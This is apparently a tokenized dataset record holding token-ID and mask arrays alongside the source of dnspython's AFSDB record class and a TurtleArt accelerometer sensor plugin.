32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
qbektrix/namebench
|
nb_third_party/dns/rdtypes/ANY/AFSDB.py
|
248
|
1847
|
# Copyright (C) 2003-2007, 2009, 2010 Nominum, Inc.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose with or without fee is hereby granted,
# provided that the above copyright notice and this permission notice
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
import dns.rdtypes.mxbase
class AFSDB(dns.rdtypes.mxbase.UncompressedDowncasingMX):
"""AFSDB record
@ivar subtype: the subtype value
@type subtype: int
@ivar hostname: the hostname name
@type hostname: dns.name.Name object"""
# Use the property mechanism to make "subtype" an alias for the
# "preference" attribute, and "hostname" an alias for the "exchange"
# attribute.
#
# This lets us inherit the UncompressedMX implementation but lets
# the caller use appropriate attribute names for the rdata type.
#
# We probably lose some performance vs. a cut-and-paste
# implementation, but this way we don't copy code, and that's
# good.
def get_subtype(self):
return self.preference
def set_subtype(self, subtype):
self.preference = subtype
subtype = property(get_subtype, set_subtype)
def get_hostname(self):
return self.exchange
def set_hostname(self, hostname):
self.exchange = hostname
hostname = property(get_hostname, set_hostname)
|
apache-2.0
|
[
3,
1898,
334,
35,
9,
13004,
13,
9488,
12,
8937,
12,
7129,
653,
676,
262,
453,
12,
3277,
14,
199,
3,
199,
3,
8779,
370,
675,
12,
1331,
12,
2811,
12,
436,
11207,
642,
2032,
436,
2399,
199,
3,
3794,
367,
1263,
12016,
543,
503,
1928,
14751,
365,
11882,
10009,
12,
199,
3,
2741,
626,
314,
3432,
4248,
4245,
436,
642,
4983,
4245,
199,
3,
7468,
315,
1006,
6866,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
2,
2401,
4825,
4896,
2639,
8990,
51,
11727,
2990,
199,
3,
1663,
14142,
7816,
2296,
5749,
4141,
6931,
11727,
5292,
2990,
1634,
199,
3,
3169,
2401,
3092,
14,
1621,
4825,
6461,
7000,
4825,
4896,
2639,
6262,
7024,
2381,
199,
3,
1821,
8820,
12,
8703,
12,
9168,
12,
1549,
9110,
6736,
1549,
1821,
6736,
199,
3,
28752,
4118,
27362,
20668,
1206,
4442,
9102,
1634,
4815,
12,
7126,
1549,
9206,
12,
7061,
1621,
1261,
199,
3,
9612,
1634,
7066,
12,
9254,
1549,
5010,
7056,
25657,
9612,
12,
7043,
5738,
199,
3,
1634,
1549,
1621,
11287,
1663,
2334,
4815,
1549,
13873,
30340,
1634,
5749,
4141,
14,
199,
199,
646,
6715,
14,
82,
5717,
14,
9457,
1095,
199,
199,
533,
437,
7079,
2846,
8,
5797,
14,
82,
5717,
14,
9457,
1095,
14,
1358,
10895,
3514,
9765,
316,
17401,
304,
272,
408,
5699,
51,
2846,
2777,
339,
768,
7725,
15686,
26,
314,
15686,
574,
272,
768,
466,
15686,
26,
1109,
272,
768,
7725,
6246,
26,
314,
6246,
536,
272,
768,
466,
6246,
26,
6715,
14,
354,
14,
985,
909,
624,
339,
327,
3645,
314,
3324,
14729,
370,
1852,
298,
10512,
2,
376,
5162,
367,
314,
272,
327,
298,
14994,
2,
2225,
12,
436,
298,
4269,
2,
376,
5162,
367,
314,
298,
14197,
2,
272,
327,
2225,
14,
272,
327,
272,
327,
961,
19083,
2739,
8287,
314,
1910,
10895,
17401,
4514,
1325,
19083,
272,
327,
314,
8025,
675,
5827,
2225,
1561,
367,
314,
27020,
730,
14,
272,
327,
272,
327,
2136,
8646,
27332,
2005,
10238,
8118,
14,
282,
10415,
13,
460,
13,
16586,
272,
327,
4514,
12,
1325,
642,
4340,
781,
2793,
1133,
1331,
1233,
12,
436,
626,
1159,
272,
327,
6954,
14,
339,
347,
664,
63,
10512,
8,
277,
304,
267,
372,
291,
14,
14994,
339,
347,
663,
63,
10512,
8,
277,
12,
15686,
304,
267,
291,
14,
14994,
275,
15686,
339,
15686,
275,
3324,
8,
362,
63,
10512,
12,
663,
63,
10512,
9,
339,
347,
664,
63,
4269,
8,
277,
304,
267,
372,
291,
14,
14197,
339,
347,
663,
63,
4269,
8,
277,
12,
6246,
304,
267,
291,
14,
14197,
275,
6246,
339,
6246,
275,
3324,
8,
362,
63,
4269,
12,
663,
63,
4269,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1898,
334,
35,
9,
13004,
13,
9488,
12,
8937,
12,
7129,
653,
676,
262,
453,
12,
3277,
14,
199,
3,
199,
3,
8779,
370,
675,
12,
1331,
12,
2811,
12,
436,
11207,
642,
2032,
436,
2399,
199,
3,
3794,
367,
1263,
12016,
543,
503,
1928,
14751,
365,
11882,
10009,
12,
199,
3,
2741,
626,
314,
3432,
4248,
4245,
436,
642,
4983,
4245,
199,
3,
7468,
315,
1006,
6866,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
2,
2401,
4825,
4896,
2639,
8990,
51,
11727,
2990,
199,
3,
1663,
14142,
7816,
2296,
5749,
4141,
6931,
11727,
5292,
2990,
1634,
199,
3,
3169,
2401,
3092,
14,
1621,
4825,
6461,
7000,
4825,
4896,
2639,
6262,
7024,
2381,
199,
3,
1821,
8820,
12,
8703,
12,
9168,
12,
1549,
9110,
6736,
1549,
1821,
6736,
199,
3,
28752,
4118,
27362,
20668,
1206,
4442,
9102,
1634,
4815,
12,
7126,
1549,
9206,
12,
7061,
1621,
1261,
199,
3,
9612,
1634,
7066,
12,
9254,
1549,
5010,
7056,
25657,
9612,
12,
7043,
5738,
199,
3,
1634,
1549,
1621,
11287,
1663,
2334,
4815,
1549,
13873,
30340,
1634,
5749,
4141,
14,
199,
199,
646,
6715,
14,
82,
5717,
14,
9457,
1095,
199,
199,
533,
437,
7079,
2846,
8,
5797,
14,
82,
5717,
14,
9457,
1095,
14,
1358,
10895,
3514,
9765,
316,
17401,
304,
272,
408,
5699,
51,
2846,
2777,
339,
768,
7725,
15686,
26,
314,
15686,
574,
272,
768,
466,
15686,
26,
1109,
272,
768,
7725,
6246,
26,
314,
6246,
536,
272,
768,
466,
6246,
26,
6715,
14,
354,
14,
985,
909,
624,
339,
327,
3645,
314,
3324,
14729,
370,
1852,
298,
10512,
2,
376,
5162,
367,
314,
272,
327,
298,
14994,
2,
2225,
12,
436,
298,
4269,
2,
376,
5162,
367,
314,
298,
14197,
2,
272,
327,
2225,
14,
272,
327,
272,
327,
961,
19083,
2739,
8287,
314,
1910,
10895,
17401,
4514,
1325,
19083,
272,
327,
314,
8025,
675,
5827,
2225,
1561,
367,
314,
27020,
730,
14,
272,
327,
272,
327,
2136,
8646,
27332,
2005,
10238,
8118,
14,
282,
10415,
13,
460,
13,
16586,
272,
327,
4514,
12,
1325,
642,
4340,
781,
2793,
1133,
1331,
1233,
12,
436,
626,
1159,
272,
327,
6954,
14,
339,
347,
664,
63,
10512,
8,
277,
304,
267,
372,
291,
14,
14994,
339,
347,
663,
63,
10512,
8,
277,
12,
15686,
304,
267,
291,
14,
14994,
275,
15686,
339,
15686,
275,
3324,
8,
362,
63,
10512,
12,
663,
63,
10512,
9,
339,
347,
664,
63,
4269,
8,
277,
304,
267,
372,
291,
14,
14197,
339,
347,
663,
63,
4269,
8,
277,
12,
6246,
304,
267,
291,
14,
14197,
275,
6246,
339,
6246,
275,
3324,
8,
362,
63,
4269,
12,
663,
63,
4269,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
walterbender/turtle3D
|
plugins/accelerometer/accelerometer.py
|
2
|
3302
|
#!/usr/bin/env python
#Copyright (c) 2011 Walter Bender
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from gettext import gettext as _
from plugins.plugin import Plugin
from TurtleArt.tapalette import make_palette
from TurtleArt.tautils import debug_output
from TurtleArt.taprimitive import Primitive
import logging
_logger = logging.getLogger('turtleart-activity accelerometer plugin')
ACCELEROMETER_DEVICE = '/sys/devices/platform/lis3lv02d/position'
class Accelerometer(Plugin):
def __init__(self, parent):
Plugin.__init__(self)
self._parent = parent
if os.path.exists(ACCELEROMETER_DEVICE):
self._status = True
else:
self._status = False
self.running_sugar = self._parent.running_sugar
def setup(self):
# set up accelerometer specific blocks
palette = make_palette('sensor',
colors=["#FF6060", "#A06060"],
help_string=_('Palette of sensor blocks'),
position=6)
if self._status:
palette.add_block('xyz',
style='basic-style-extended-vertical',
label=_('acceleration'),
help_string=\
_('push acceleration in x, y, z to heap'),
prim_name='xyz')
else:
palette.add_block('xyz',
style='basic-style-extended-vertical',
label=_('acceleration'),
help_string=\
_('push acceleration in x, y, z to heap'),
hidden=True,
prim_name='xyz')
self._parent.lc.def_prim(
'xyz', 0,
Primitive(self.prim_xyz))
def _status_report(self):
debug_output('Reporting accelerator status: %s' % (str(self._status)))
return self._status
# Block primitives used in talogo
def prim_xyz(self):
''' push accelerometer xyz to stack '''
if not self._status:
self._parent.lc.heap.append(0)
self._parent.lc.heap.append(0)
self._parent.lc.heap.append(0)
else:
fh = open(ACCELEROMETER_DEVICE)
string = fh.read()
xyz = string[1:-2].split(',')
self._parent.lc.heap.append(float(xyz[2]) / 18)
self._parent.lc.heap.append(float(xyz[1]) / 18)
self._parent.lc.heap.append(float(xyz[0]) / 18)
fh.close()
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
7384,
334,
67,
9,
7760,
644,
11858,
699,
13747,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
199,
646,
747,
199,
199,
504,
9796,
492,
9796,
465,
485,
199,
199,
504,
8963,
14,
2718,
492,
11349,
199,
199,
504,
20294,
28922,
14,
502,
16506,
492,
1852,
63,
16506,
199,
504,
20294,
28922,
14,
502,
1208,
492,
3105,
63,
1199,
199,
504,
20294,
28922,
14,
16609,
322,
9191,
492,
8538,
9191,
199,
199,
646,
2050,
199,
63,
2921,
275,
2050,
14,
5572,
360,
25027,
580,
13,
8240,
1066,
15421,
5864,
351,
3589,
358,
421,
199,
1348,
21595,
12960,
3940,
540,
63,
10555,
275,
1994,
1274,
15,
6410,
15,
3246,
15,
14392,
19,
6371,
996,
68,
15,
3124,
7,
421,
199,
533,
4473,
15421,
5864,
351,
8,
5061,
304,
339,
347,
636,
826,
721,
277,
12,
1676,
304,
267,
11349,
855,
826,
721,
277,
9,
267,
291,
423,
1708,
275,
1676,
267,
340,
747,
14,
515,
14,
2444,
8,
1348,
21595,
12960,
3940,
540,
63,
10555,
304,
288,
291,
423,
1205,
275,
715,
267,
587,
26,
288,
291,
423,
1205,
275,
756,
267,
291,
14,
5720,
63,
83,
21922,
275,
291,
423,
1708,
14,
5720,
63,
83,
21922,
339,
347,
3272,
8,
277,
304,
267,
327,
663,
1536,
1066,
15421,
5864,
351,
2488,
5664,
267,
17986,
275,
1852,
63,
16506,
360,
8956,
297,
3044,
9229,
6270,
3,
1665,
16220,
16,
401,
5426,
33,
1690,
18857,
2255,
3044,
1720,
63,
875,
12397,
24500,
402,
8778,
5664,
659,
3044,
3421,
29,
22,
9,
398,
340,
291,
423,
1205,
26,
288,
17986,
14,
525,
63,
1457,
360,
8568,
297,
2892,
3449,
534,
4316,
13,
2487,
13,
10525,
13,
7870,
297,
2892,
1768,
12397,
645,
29765,
659,
2892,
1720,
63,
875,
9529,
3303,
4018,
5335,
1066,
29765,
315,
671,
12,
612,
12,
1315,
370,
13295,
659,
2892,
1979,
77,
63,
354,
534,
8568,
358,
267,
587,
26,
288,
17986,
14,
525,
63,
1457,
360,
8568,
297,
2892,
3449,
534,
4316,
13,
2487,
13,
10525,
13,
7870,
297,
2892,
1768,
12397,
645,
29765,
659,
2892,
1720,
63,
875,
9529,
3303,
4018,
5335,
1066,
29765,
315,
671,
12,
612,
12,
1315,
370,
13295,
659,
2892,
8752,
29,
549,
12,
2892,
1979,
77,
63,
354,
534,
8568,
358,
398,
